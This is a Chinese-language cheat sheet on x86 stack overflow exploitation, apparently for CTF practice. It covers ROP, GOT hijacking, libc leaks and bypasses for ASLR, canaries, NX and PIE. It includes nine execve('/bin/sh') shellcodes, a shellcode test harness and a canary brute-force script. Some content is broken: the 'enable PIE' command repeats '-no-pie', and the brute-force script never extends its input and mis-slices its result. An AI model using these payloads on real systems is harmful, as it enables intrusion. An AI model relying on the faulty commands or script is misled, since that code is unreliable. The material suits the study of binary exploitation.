0%

Stack Overflow CheatSheet

本文中的内容均以 x86 架构为基础

Registers

32 位程序寄存器最大 32 位(4 字节)如 eax,64 位程序寄存器最大 64 位(8 字节)如 rax。寄存器大小示意图如下。

Stack

栈是一种后入先出(LIFO)的数据结构,在内存空间中由高地址向低地址生长,如下所示。

Call a Func

程序执行过程中所调用的每一个函数都有属于其自己的栈帧(Stack Frame),栈帧中保存该函数内部使用的各种局部变量。每个函数的栈帧由栈底寄存器 ebp 和栈顶寄存器 esp 确定,其中 esp 可能随着函数内部的执行而变化,ebp 一直不变,所以大部分局部变量与函数参数的位置均根据 ebp 来确定。

在调用一个新函数时需要做三件事:

  1. 传递参数,32 位与 64 位参数传递方式不同:32 位程序将参数从右向左压入栈中传递,64 位程序前 6 个参数通过寄存器 rdi,rsi,rdx,rcx,r8,r9 传递,从第 7 个参数开始从右向左压入栈中传递
  2. 保存返回地址,即调用完新函数以后要执行的下一条指令地址,该操作由 call 指令完成,即call = (push eip && eip = ret_addr)
  3. 进入被调用者的流程,被调用者保存调用者的栈帧,在栈上 push 当前 ebp,之后使 esp=ebp,即push ebp && esp = ebp,最后开辟新栈帧

当一个函数执行完成后需要做三件事:

  1. 传递返回值到 eax 中,若返回值大于 4 字节小于 8 字节,则高 4 字节放入 eax,低 4 字节放入 edx
  2. 恢复调用者的栈帧,恢复原来的 esp,使 esp=epb,并且 pop 栈上的 old ebp 到当前 ebp 中,该操作由 leave 指令完成,即(esp = ebp && pop ebp)
  3. 跳转到执行完函数的下一条地址,恢复到调用者的执行流程,该操作由 ret 指令完成,即ret = pop eip

常见 32 位调用约定如下,64 位只有一种调用约定,前 6 个参数通过寄存器 rdi,rsi,rdx,rcx,r8,r9 传递,从第 7 个参数开始从右向左入栈

  • cdecl:C 函数 /C++ 非成员函数默认的调用约定,参数从右向左入栈,调用者清理栈中参数,eax 存放返回值,支持可变参数(例如 printf)
  • stdcall:Pascal 或 WinAPI 常用,参数从右向左入栈,被调用者清理栈中参数,eax 存放返回值
  • fastcall:前两个小于 4 字节的参数使用 ecx 和 edx 传递,其余参数从右向左入栈,被调用者清理栈中参数,eax 存放返回值
  • thiscall:C++ 非静态的成员函数使用,C++ 成员函数需要使用 this 指针,若参数数量固定,则 this 指针通过 ecx 传递,其余参数从右向左入栈,被调用者清理栈中参数;若参数数量不固定,所有参数从右向左入栈,最后 this 指针入栈,调用者清理栈中参数

发生函数调用 func(1, 2, 3) 时,栈变化如下所示(cdecl,32 位,64 位除了参数传递使用寄存器以外其余均相同),其中 ret 表示 call func 指令结束之后下一条指令的地址,即返回地址,old ebp 表示调用者栈帧的 ebp。

函数 func 执行完毕后,栈变化如下所示(cdecl,32 位),为了便于表示,将 leave 指令拆分为两条指令。

Stack Overflow

局部变量保存在栈中,当程序接受用户输入并且保存到局部变量中时,若接收到的数据长度大于栈中给局部变量预留的数据长度,则可以发生溢出,修改局部变量之后的数据,包括 old ebp 以及 ret,如果可以修改 ret,就可以劫持控制流,当函数执行结束以后就可以跳转到任意指定地址。栈溢出过程如下图所示,假设 func 函数中有一块 16 字节大小的局部变量 buf,但是接收到了超过 16 字节大小的数据并且被写入到 buf 中,假设输入的数据为'A'*(16+4) + 'B'*4,可以看到返回地址 ret 已经被修改为 BBBB,将 payload 中的 BBBB 修改为其他有可执行权限的地址即可。

可能会造成栈溢出的函数

  • read

    1
    2
    3
    4
    5
    6
    // 从文件 fd 中读取 nbyte 个字节写入到 buf 中
    ssize_t read (int fd, void *buf, size_t nbyte);
    // fd: 文件描述符,0 为从标准输入读取
    // buf: 要写入位置的指针
    // nbyte: 要读取的字节数
    // 返回实际读取到字节数,若返负数表示出现了错误
  • write

    1
    2
    3
    4
    5
    6
    // 从 buf 中读取 nbytes 个字节写入到文件 fd 中
    ssize_t write(int fd,const void *buf,size_t nbytes);
    // fd: 文件描述符,1 表示输出到标准输出
    // buf: 要读取位置的指针
    // nbyte: 要写入的字节数
    // 返回实际写入到字节数,若返回负数表示出现了错误
  • gets

    1
    2
    3
    4
    5
    6
    // 从标准输入缓冲区中读取字符串到 str 所指的位置中
    // gets 会从输入缓冲区读取到换行符为止,作为一个字符串,并且删去最后的换行符写入 str 中
    // gets 可以读取空格
    char *gets(char *str);
    // str: 要写入位置的指针
    // 若读取成功返回写入位置的指针,否则返回空指针
  • scanf

    1
    2
    3
    4
    5
    // 从标准输入缓冲区中读取符合格式的字符串,遇到空格停止读取
    int scanf(const char *format, ...);
    // format: 格式化字符串
    // ...: 需要被格式化到 format 的参数
    // 若读取成功,返回匹配和赋值的个数,否则返回 EOF
  • strcpy/strncopy/memcpy

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    // 从原指针指向的位置读取指定数量字节写入到目标指针的位置
    // strcpy/strncpy 只支持字符串的复制,memcpy 可以复制任何内容
    // strcpy 函数读取到 \0 为止,会将 \0 复制到目标位置,而 strncpy 不会添加 \0,若 src 的长度小于 n 字节则用 \0 填充
    char* strcpy(char* dest, const char* src);
    void *memcpy(void *dest, const void *src, size_t count );
    char *strncpy(char *dest,char *src,int size_t n);
    // dest: 要写入的位置的指针
    // src: 原位置的指针
    // count/n: 要写入的字节数
    // 若复制成功返回目标位置的指针,否则返回空指针
  • strcat

    1
    2
    3
    4
    5
    // 将 src 添加到 dest 的末尾,删除 dest 末尾的 \0,连同 src 中的 \0 一起复制到 dest 的末尾
    char *strcat(char *dest, const char *src);
    // dest: 目标字符串的指针
    // src: 要追加的字符串的指针
    // 返回指向 dest 的指针

栈溢出寻找方法:

  1. 在函数中寻找类似于 buf 的局部变量

  2. 在函数中找到向该 buf 写入数据的函数

  3. 检查可写入的最大大小是否能够超过 buf 定义大小

  4. 若可以溢出,则查看 buf 在栈中的位置,寻找 buf 之后是否有其他局部变量,或者是否可以溢出到 ret

  5. 计算出 buf 到达目标的总长度,进行溢出,目标可以是 ret,buf 之后的其他局部变量或者 bss 段上的某些全局变量

基本套路:

  1. 检查程序的防护措施与运行平台
  2. 是静态编译还是动态编译
  3. 找到溢出点并且想办法劫持程序流程
  4. 静态编译会提供大量的 gadgets,需要利用 ROP 跳转到 shellcode 或者拼凑出系统调用
  5. 动态编译则需要想办法泄漏出一个 libc 中的地址,最后利用 libc 中的 system 执行命令
  6. 拿到 libc 的地址以后找到对应版本的 libc(如果题目没有提供 libc)
  7. 计算出 libc 的基地址,进而计算出 system 的地址
  8. 跳转到 system 从而 getshell

其实栈溢出的目的就是劫持控制流,也就是控制 eip 寄存器,而 eip 寄存器又何 esp,ebp 息息相关,如果可以在 ret 指令之前控制 esp 的话,甚至不用覆盖 ret 也可以劫持控制流,或者如果控制 ebp 的话甚至可以控制栈低后面的 ret。

ROP

ROP 即 Return-Oriented programming(面向返回编程),其最大的作用就是可以绕过多种安全保护措施,并且可以帮助我们 Getshell。ROP 是指利用程序中碎小的代码片段来操作寄存器,甚至改变程序流程的技术,这些小的代码片段被称为 gadgets。一个 gadget 通常是以 ret 或者 jmp 等跳转指令结尾的代码片段,最常用的是以 ret 结尾,ret 指令可以从栈顶弹出一个值到 eip 中,控制程序下一条指令的地址,如果我们可以控制栈上的元素,就可以利用多个 gadgets 形成 ROP 链,不过需要事先得知每个 gadget 的地址。

通常使用静态编译的程序中会包含大量可用的 gadgets,动态编译的程序中也含有少量可以使用的 gadgets,收集到足够多的 gadgets 以后就可以修改寄存器的值并且控制程序的流程。利用多个 gadgets 修改寄存器以后可以直接调用 syscall,也可以直接跳转到写入内存中的 shellcode 的地址,或者跳转到 libc 中可以执行系统命令函数的地址。

ROP 技术需要有一定汇编指令的基础,并且关键在于如何合理组合各种 gadgets 形成完美的 ROP 链。ROP 链首先需要从栈溢出修改返回地址开始,最后结束于各种可以 getshell 的方式。一个简单的 ROP 示例如下,假设目前已经在程序中找到了一个可用的 ROP 链,这里以 64 位为例,并且最终目的是调用 execve 的系统调用。

1
2
3
4
5
6
Gadgets:
0x400686 : pop rdi ; ret
0x4101f3 : pop rsi ; ret
0x4498b5 : pop rdx ; ret
0x415664 : pop rax ; ret
0x40129c : syscall

ROP 的目的就是在程序中需找大量可以控制寄存器与程序流程的汇编指令,例如各种 pop 指令,call 指令与 jmp 指令,并且将这些指令通过栈串联起来,此外如果程序中没有合适的指令,也可以通过指令偏移构造合适的指令(不同的机器码解析出的指令也不同)。

栈溢出发生后栈中情况如下图所示,其中 addr_of_bin_sh 代表字符串 /bin/sh 的地址。execve 的系统调用需要 3 个参数,第一个参数是需要执行的系统命令的字符串,第二个参数是该命令的参数,第三个参数为该命令的环境变量,通常第一个参数为字符串/bin/sh,第二第三个参数均为 0,代表空。

Syscall

Getshell 的方式之一。系统调用是为了用户空间与系统内核空间进行交互所提供的一组接口,在用户空间运行的程序通过 syscall 向内核发送请求,内核收到请求后负责执行,请求的参数一般通过寄存器传递,最后通过软中断使程序进入内核态执行对应操作。在 32 位系统下使用 int 0x80 指令启动系统调用,64 位系统下使用 syscall指令。一般通过 ROP 构造系统调用,构造系统调用的过程如上节所示。常用的系统调用如下,更多的系统调用参数请参考Syscall CheatSheet

1
2
3
int execve(const char *pathname, char *const argv[], char *const envp[]);
ssize_t read(int fd, void *buf, size_t nbytes);
ssize_t write(int fd, void *buf, size_t nbytes);

Shellcode

Getshell 的方式之一,主要通过 execve 系统调用执行命令。shellcode 是一组机器码,一般通过直接编写汇编语言后生成机器码,之后通过栈溢出将 shellcode 写入某个具有可执行权限的地址以后跳转到 shellcode 的地址即可执行 shellcode。

shellcode 通常越少越好,另外 shellcode 中需要避免出现坏字符 \x00,坏字符会导致 shellcode 写入目标地址时发生截断,如果 shellcode 中需要用到数字 0,可以利用其它方式获取,例如xor eax eax 即可将 eax 置 0,此外在 shellcode 中操作立即数时,应该根据立即数的大小尽量选择合适的寄存器,例如 mov al, 0x1 要比 mov rax, 0x1 更好,后者会使 shellcode 变得更长,也可能会使 shellcode 中出现坏字符。

execve 的第一个参数也就是要执行的命令,一般都会是 /bin/sh,如果该字符串被保存在栈中时,由于栈是从高地址向低地址生长,因此字符串也应该反向写入栈中,另外为了内存对齐,字符串的长度需要为机器字长的倍数,所以采用//bin/sh。若出于某种原因,shellcode 中无法使用栈(不能利用 pop 与 push 指令),可以先利用 write 或者 read 系统调用将字符串/bin/sh 写入某个内存中的地方。若在 shellcode 执行的上下文环境中没有合适的地址,可以先执行一次 read 系统调用,部分系统调用结束以后会改变某些寄存器的值为某个地址。

编写 shellcode 的方法如下:

  1. 编写对应的汇编代码(以 32 位机器为例)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    Section .text

    global _start

    _start:
    ; eax=11 ebx="//bin/sh" ecx=["//bin/sh", NULL] edx=NULL

    xor eax, eax ; Get zero

    ; The first arg
    push eax ; The string ending \x00
    push 0x68732f6e
    push 0x69622f2f ; "//bin/sh"
    mov ebx, esp ; ebx="//bin/sh"

    ; NULL at argv[1]
    push eax
    mov edx, esp ; edx=NULL

    ; Address of "//bin/sh" at argv[0]
    push ebx
    mov ecx, esp ;ecx=["//bin/sh", NULL]

    ; Call execve
    mov al, 11
    int 0x80
  2. 汇编

    1
    nasm -f elf32 shell.asm
  3. 提取 shellcode 并检查是否出现\x00

    1
    objdump -d ./shell |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
  4. 优化 shellcode

  5. 测试 shellcode

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // gcc -fno-stack-protector -z norelro -no-pie -z execstack shellcode.c -o shellcode

    char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

    int main(int argc, char **argv)
    {
    int (*func)();
    func = (int (*)()) shellcode;
    (int)(*func)();
    return 0;
    }

这里提供了一些可用的 shellcode(来自exploit-db

  1. 前文 shellcode(x86,25 bytes)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    ; "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

    xor eax, eax ; Get zero
    push eax ; The string ending \x00
    push 0x68732f6e
    push 0x69622f2f ; "//bin/sh"
    mov ebx, esp ; ebx="//bin/sh"

    ; NULL at argv[1]
    push eax
    mov edx, esp ; edx=NULL

    ; Address of "//bin/sh" at argv[0]
    push ebx
    mov ecx, esp ;ecx=["//bin/sh", NULL]

    ; Call execve
    mov al, 11
    int 0x80
  2. execve(x86,18 bytes)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ; "\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

    push 0xb
    pop eax
    push ebx
    push 0x68732f2f
    push 0x6e69622f
    mov ebx,esp
    int 0x80
  3. execve(x86,19 bytes)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ; "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xb0\x0b\xcd\x80"

    xor eax, eax
    push eax
    push 0x68732f2f
    push 0x6e69622f
    xchg ebx, esp
    mov al, 0xb
    int 0x80
  4. execve(x86,24 bytes)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    ; "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

    xor eax, eax
    cdq
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    mov al, 0x0b
    int 80h
  5. execve(x86-64,21 bytes)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ; "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"

    mul esi
    push rax
    mov rdi, "/bin//sh"
    push rdi
    mov rdi, rsp
    mov al, 59
    syscall
  6. execve(x86-64,23 bytes)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ; "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

    xor rsi, rsi
    push rsi
    mov rdi, 0x68732f2f6e69622f
    push rdi
    push rsp
    pop rdi
    push 59
    pop rax
    cdq
    syscall
  7. execve(x86-64,24 bytes)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ; "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

    push rax
    xor rdx, rdx
    xor rsi, rsi
    mov rbx, '/bin//sh'
    push rbx
    push rsp
    pop rdi
    mov al, 59
    syscall
  8. execve(x86-64,30 bytes)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ; "\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05"

    mov rcx, 0x1168732f6e69622f ;move the immediate value /bin/sh in hex in
    ;little endian byte order into rcx padded with 11
    shl rcx, 0x08 ;left shift to trim off the two bytes of padding
    shr rcx, 0x08 ;ringht shift to re order string
    push rcx ;push the immediate value stored in rcx onto the stack
    lea rdi, [rsp] ;load the address of the string that is on the stack into rsi
    xor rdx, rdx ;zero out rdx for an execve argument
    mov al, 0x3b ;move 0x3b (execve sycall) into al to avoid nulls
    syscall ;make the syscall
  9. execve(x86-64,31 bytes)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    ; "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    xor rax, rax
    push rax
    ; 68 73 2f 2f 6e 69 62 2f
    mov rbx, 68732f2f6e69622fH
    push rbx
    mov rdi, rsp
    mov al, 59
    syscall

Libc

Getshell 的方式之一。libc 是 Linux 下的一组标准函数库,包含了 C 语言最基本的函数。当程序采用动态链接时,在加载程序的时候会将指定的 libc 链接到程序,若未指定则使用操作系统当前的 libc,这样程序中才可以调用 libc 中提供的外部函数。当操作系统为程序加载完成 libc 以后,程序中需要调用的外部函数就会被放在内存中,libc 中的每个函数地址都是一个偏移量,程序加载 libc 以后确定了 libc 的基地址,再加上 libc 中函数的偏移量就可以得到 libc 中函数在内存中的真实地址,当程序调用 libc 中的外部函数时,会通过 plt 表与 got 表跳转到该函数。

  • PLT 表(Procedure Linkage Table, 程序链接表,.plt 段)
    用来存储程序中使用的外部函数的入口,也就是 got 表中对应的条目。位于代码段,编译时确定,没有写权限,无法修改。plt 表中第一项的作用就是跳转到_dl_runtime_resolve 函数,函数原型为_dl_runtime_resolve(link_map_obj, reloc_index),该函数可以动态解析函数地址并且写入到 got 表中,最后还会调用被解析的函数。该条目一般由两条指令构成,第一条指令是 push 一个值到栈中,该值为_dl_runtime_resolve 的第一个参数 link_map_obj,也就是 got 表中的第一项,第二条指令是跳转到_dl_runtime_resolve 函数的地址,调用该函数,也就是 got 表中的第二项。其余 plt 表项一般由 3 条指令构成,第一条指令跳转到对应的 got 表条目中存储的地址,第二条指令是 push 一个值到栈中,该值就是_dl_runtime_resolve 的第二个参数 reloc_index,第三条指令就是跳转到 plt 表的第一项,也就是调用动态链接器解析函数地址。plt 表的结构如下所示。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    plt[0]:
    push got[1]
    jmp got[2]
    func@plt:
    jmp func@got
    push func_index
    jmp plt[0]
    otherfunc@plt:
    jmp otherfunc@got
    push otherfunc_index
    jmp plt[0]
    anotherfunc@plt:
    jmp anotherfunc@got
    push anotherfunc_index
    jmp plt[0]
  • GOT 表 (Global Offset Table, 全局偏移表,.got.plt 段)
    用来存储外部函数在内存中的地址,plt 表与 got 表中的条目是一一对应的。位于数据段,可以动态修改,具有写权限。got 表就是一个函数指针数组,其中 got 表的第一项 got[0] 是程序动态段 (.dynamic) 的装载地址,该段中保存了所有程序中需要使用的外部函数,got 表的第二项 got[1]是 link_map_object 的地址,也就是_dl_runtime_resolve 的第一个参数,got 表第三项 got[2]是_dl_runtime_resolve 函数的地址,其余条目为外部函数的地址,与 plt 表相对应,plt 表与 got 表都对应关系如下所示。

    1
    2
    3
    4
    5
    6
    7
    8
               got[0] ---> .dynamic address
    |-> got[1] ---> link_map_object address
    plt[0] --> got[2] ---> _dl_runtime_resolve address

    plt[1] --> got[3]
    plt[2] --> got[4]
    plt[3] --> got[5]
    ... ...

当程序使用动态链接时,采用一种被称为延迟绑定的技术以提高程序执行效率。虽然 got 表的作用是存储所有外部函数的地址,但是当程序刚开始运行时初始 got 表中所有的条目都指向 plt 表中对应的条目(即对应 plt 条目中的第二条指令 push),而 plt 表中对应条目的作用除了跳转到 got 表中对应条目存储的地址,另外就是解析并且绑定该外部函数的地址,也就是说当程序第一次调用某个外部函数时,该函数的地址才会被解析并且写入到 got 表中,以后每次调用都会直接通过 got 表跳转到对应地址而不用重新解析地址。调用外部函数的过程如下所示。

  1. 首先程序中第一次调用外部函数 func,跳转到 func@plt 中
  2. 执行 func@plt 表中第一条指令,跳转到 func@got
  3. 由于这是第一次调用 func,所以 func@got 表中存储的是 func@plt 中的第二条指令地址,也就是 func@plt+6
  4. 跳转到 plt[0]准备执行_dl_runtime_resolve
  5. 执行_dl_runtime_resolve,并且修改对应的 func@got 表条目地址为真正的 func 地址,并且跳转到 func 函数的地址执行
  6. 第二次调用 func 函数,跳转到 func@plt 中
  7. func@plt 再跳转到 func@got 中
  8. 由于 func@got 已经被修改为 func 的真正地址,所以就可以直接跳转到 func 函数的地址执行,并且以后调用 func 函数时都可以直接执行,无需重新解析地址

针对 libc 的利用主要是通过修改 got 表中的条目来控制执行流程,称为 got 表劫持(当然如果程序中有 libc 中的 system 函数调用就可以直接跳转到 system@plt,不过一般很少出现这种情况)。前面已经知道 got 表就是一个函数指针数组,并且可写,所以只想办法获取 system 函数在加载到程序中的 libc 中的地址,就可以修改 got 表中某个函数的地址为 system 函数的地址,例如修改 puts 函数的地址,修改完成后以后每次调用 puts 都相当于调用 system 函数。

由于 got 表中只存储了程序中使用到的外部函数的地址,所以没有办法直接获取到 system 函数地址,但是如果知道程序使用的 libc,就可以知道 system 函数在 libc 中的地址偏移,之后再从程序中想办法拿到 libc 的基地址,两者相加就可以知道 system 函数在程序中的真实地址。

一般的套路是想办法从程序中泄漏出一个 libc 库函数中某个函数的地址,例如 puts 函数。拿到 puts 函数的地址以后,由于 libc 的基地址低 12 位(低 3 个十六进制数)都是 0,所以只需要函数地址的低 12 位(3 个十六进制数)就可以通过偏移确定出程序使用 libc 版本,拿到 libc 以后就可以知道 system 函数与 puts 函数在 libc 中的偏移,计算出 system 函数地址的公式为 system 地址 = puts 地址 - pus 偏移 + system 偏移,其中puts 地址 -puts 偏移 计算出的就是 libc 的基地址。计算出 system 的地址以后就可以通过其他方式修改 got 表中其他函数的地址,实现 got 表劫持,此外 libc 中一般都自带了字符串/bin/sh,只需要知道该字符串在 libc 中的偏移地址就无需自己构造该字符串。

需要注意的是 libc 中除了 system 还有一个函数 execve 也可以执行命令,由于 system 函数中可能会对内存对齐进行检查,导致执行失败,所以当使用 system 函数执行失败后可以在 system 函数之前的参数添加 buf 使内存对齐,或者改用 execve 函数。

此外,在没有开启 PIE 的情况下,got 表的基地址是固定的,因此通过 IDA 获取 got 表中某条目的地址以后,修改该地址就可以劫持控制流,由于对应的 plt 表第一条指令就是 jmp 到 got 表对应条目中存储的地址,通过修改 got 表中的地址就可以直接劫持控制流,jmp 到需要的地址,这是一种很常见的劫持控制流的方法。

为了方便我们写入/bin/sh,可以直接修改 got 表上的部分函数为 system,例如strlen(user_input),strcmp(user_input,xx),strncmp(user_input,xx),memcmp(user_input,xx),atoi(user_input),free(user_input),这些函数都可以直接接收用户输入作为参数,修改为 system 就可以。

Protection Bypass

  • ASLR(Address Space Layout Randomization,地址空间布局随机化)

    一种由操作系统提供的保护机制,将部分内存基地址随机化使攻击者无法预测地址。大部分操作系统都默认开启 ASLR。ASLR 主要有 3 个级别:

    • 0 — 关闭 ASLR,每次加载程序的堆栈,libc 等地址均相同

    • 1 — 开启 ASLR,主要影响 mmap 基地址,栈基地址,libc 基地址

    • 2 — 开启强化 ASLE,在 1 级别的基础上增加了堆随机化

      1
      2
      3
      4
      # 设置 ASLR,注意在 Docker 中无法关闭 ASLR
      echo 0 >/proc/sys/kernel/randomize_va_space
      echo 1 >/proc/sys/kernel/randomize_va_space
      echo 2 >/proc/sys/kernel/randomize_va_space
  • Canary(金丝雀)

    以前的矿工下矿之前为了检查矿井内是否有有毒气体,通常会将一只金丝雀送进去,如果金丝雀死了,就代表矿洞内有有毒气体(也有版本说是盗墓者盗墓会用金丝雀判断墓穴内是否有有毒气体)。Canary 是一种防止栈溢出的保护机制,其原理为在程序的入口处首先从 fs/gs 寄存器偏移 0x28 处取出 4 或 8 个字节(取决于操作系统位数)压入栈中,之后在开辟其他局部变量栈帧,当函数执行结束以后再检查该值是否与之前相同,若相同则正常退出函数,否则检测到发生栈溢出,调用 __stack_chk_fail 函数强制终止程序运行。为了避免 canary 被其上方的局部变量一起打印输出,canary 通常以 0x00 结尾以截断 canary 上面局部变量的字符串。编译器通常默认不开启 canary 保护。Canary 在栈中结构如下所示。

    __stack_chk_fail函数原型如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    void __attribute__ ((noreturn)) __stack_chk_fail (void)
    {
    __fortify_fail ("stack smashing detected");
    }

    void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
    {
    /* The loop is added only to keep gcc happy. */
    while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
    msg, __libc_argv[0] ?: "<unknown>");
    }
    1
    2
    3
    4
    5
    6
    # 关闭 canary
    gcc -fno-stack-protector -o test test.c
    # 开启 canary,但是只会为局部变量中含有 char 数组的函数开启
    gcc -fstack-protector -o test test.c
    # 为所有函数开启 canary
    gcc -fstack-protector-all -o test test.c
  • NX(No Execute,堆栈不可执行)

    将堆栈内存页标记为不可执行,当控制流程转入堆栈上以后,CPU 若尝试在堆栈上执行指令时就会引发异常。编译器通常默认开启 NX。

    1
    2
    3
    4
    # 关闭 NX
    gcc -z execstack -o test test.c
    # 开启 NX
    gcc -z noexecstack -o test test.c
  • PIE(Position Independent Executable,地址无关代码)

    基于 ASLR 的代码段与数据段地址随机化技术,需要编译器将程序编译成位置无关,并链接为 ELF 共享对象,程序每次加载到内存中以后代码地址与数据地址均不同,主要影响代码段 (.text),数据段(.data) 与全局数据段(.bss)。注意只有开启了 ASLR,PIE 才会生效,编译器通常默认开启 PIE。

    1
    2
    3
    4
    # 关闭 PIE
    gcc -no-pie -o test test.c
    # 开启 PIE
    gcc -no-pie -o test test.c
  • RELRO(Read Only Relocation,重定向只读)

    将经过动态链接器处理过后的内存区域设置为只读权限以避免 got 表劫持这类攻击方式。RELRO 通常有两种:

    • Partial RELRO

      影响部分通过动态链接器处理的内存段 (.init_array .fini_array .jcr .dynamic .got) 并且设置为只读,但是 got 表 (.got.plt) 还是可写的

    • Full RELRO

      Partial RELRO 的基础上经用了延迟绑定,got 表中所有条目在程序刚加载 libc 的时候全部解析完成,并且将 got 表设置为只读。

      编译器通常默认开启 Partial RELRO。

      1
      2
      3
      4
      5
      6
      # 关闭 RELRO
      gcc -z norelro -o test test.c
      # 开启 Partial RELRO
      gcc -z lazy -o test test.c
      # 开启 Full RELRO
      gcc -z now -o test test.c

Common Bypass

  1. ret2text

    修改返回地址到程序中已经存在的代码处,例如有些程序中可能提供了执行系统命令的方法。

  2. ret2syscall

    如 0x5 节中所提到的,通过 ROP 构造系统调用 execve 执行命令。

  3. ret2shellcode

    如 0x6 节中所提到的,通过将 shellcode 写入某处具有可执行权限的内存并且执行 shellcode,shellcode 通常也是一段进行系统调用的二进制代码。

  4. ret2libc

    如 libc 节中所提到的,通过程序中泄漏的 libc 地址来获取 system 函数在 libc 中的真实地址,从而跳转到 libc 中的 system 函数执行命令。

Bypass ASLR

ASLR 是最常见的保护措施,有很多种基础的方法可以绕过,大部分方法在前文中均介绍过。

  1. nop 垫

    若没有开启 NX(比较少见),则可以将 shellcode 写入栈上,但是由于无法确定 shellcode 准确的地址,因此可以在 shellcode 前面填充大量的 nop 指令(0x90,也称为 nop 垫,该指令什么也不做),跳转的时候可以跳转到一个大致的范围,只要命中了一个 nop 垫,就可以一直滑行到 shellcode,nop 垫填充的越多,命中的概率越大。

  2. 泄漏 libc 基地址

    最常用的办法,如 libc 节中所讲, 先泄漏出 libc 中某个函数的地址以后再计算出其他函数的地址,此类攻击方法要求程序必须一次执行可以多次输入输出。

  3. 爆破 libc 基地址

    由于 libc 基地址的随机化只会影响一个字节也就是 8 位,所以最多只需要爆破 256 次就可以爆破出正确的 libc 基地址。libc 基地址的最后 12 位(3 个十六进制数)都是 0,从倒数第 20 位到倒数第 12 位这 8 位每次都会改变,其余位不变,例如 0xf7fxx000,其中 xx 为每次改变的字节。该攻击方法需要提前知道 libc 版本。

  4. 修改 got 表

    比较常用的办法。如 libc 节中修改 got 表的方法,可以将 got 表项修改为某个 libc 函数地址,如果没有开启 PIE,也可以修改为 ROP 链的起始地址。

  5. ROP 链

    也是非常常用的办法,如果没有开启 PIE 则可以直接构造 ROP 链。

Bypass Canary

比较令人烦恼的保护措施,canary 主要为了防止栈溢出,并且 canary 最后一个字节为 0x00。

  1. 泄漏 canary

    最常用的方法。为了避免 canary 被其他局部变量附带输出,所以 canary 通常以 0x00 结尾以截断 canary 上面的局部变量,因此可以通过栈溢出覆盖掉 canary 最后的 0x00,使其可以被附带输出,即可泄漏 canary,拿到 canary 以后溢出的时候将 canary 填写到对应的位置即可绕过。

  2. 爆破 canary

    程序每次启动后 canary 是不同的,但是对于同一个进程,由于子进程会拷贝父进程的内存,子线程与父线程共用内存,所以一个程序的子进程和子线程的 canary 都是相同的,因此如果程序可以多次 fork 子进程或者启动子线程,那么就可以在子进程或子线程中爆破 canary。

    对于爆破过程,采用逐字节爆破是最高效的,每次爆破最低的一个字节(8 位,16*16=256 次),从 0x00 到 0xff,并且 canary 的结尾必是\x00,因此 32 位只需要爆破 3 个字节(256*3=768 次),64 位只需要爆破 7 个字节(256*7=1792 次)。

    爆破 canary 的脚本如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import sys

    canary = ''
    start = len(p)
    stop = len(p) + 8

    while len(p) < stop:
    for i in range(0,255):
    ret = send_and_recv(p + chr(i))

    if ret:
    canary += chr(i)
    print "[+] Find 0x%02x" % i
    break
    else:
    print "[-] Brute failed"
    sys.exit(-1)


    canary = canary[stop:start-1:-1].encode("hex")
    print "[+] Got canary: 0x%s" % canary
  3. 劫持__stack_chk_fail

